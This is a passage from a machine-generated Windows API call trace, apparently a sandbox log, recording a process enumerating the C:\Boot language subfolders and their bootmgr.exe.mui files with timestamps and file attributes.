ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.107] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.107] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.107] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0195.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.108] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.108] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.108] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.108] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.108] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0195.108] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.108] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.109] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.109] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.109] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.109] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0195.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.109] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.109] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.109] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.110] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.110] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.110] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0195.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.110] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.146] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.146] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.147] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.147] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0195.148] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.148] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.148] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.148] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.148] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.148] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0195.149] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.149] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.149] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.150] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.150] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.150] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0195.150] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.150] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.150] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.150] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.150] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.152] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0195.152] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.152] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.153] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.153] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.153] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0195.153] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.153] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.154] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.154] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.154] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.154] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.154] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0195.154] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.154] FindFirstFileW (in: lpFileName="C:\\Boot\\tr-TR\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5410f0 [0195.155] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x5410f0, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0195.156] FindClose (in: hFindFile=0x5410f0 | out: hFindFile=0x5410f0) returned 1 [0195.156] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4f0000) returned 1 [0195.156] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, 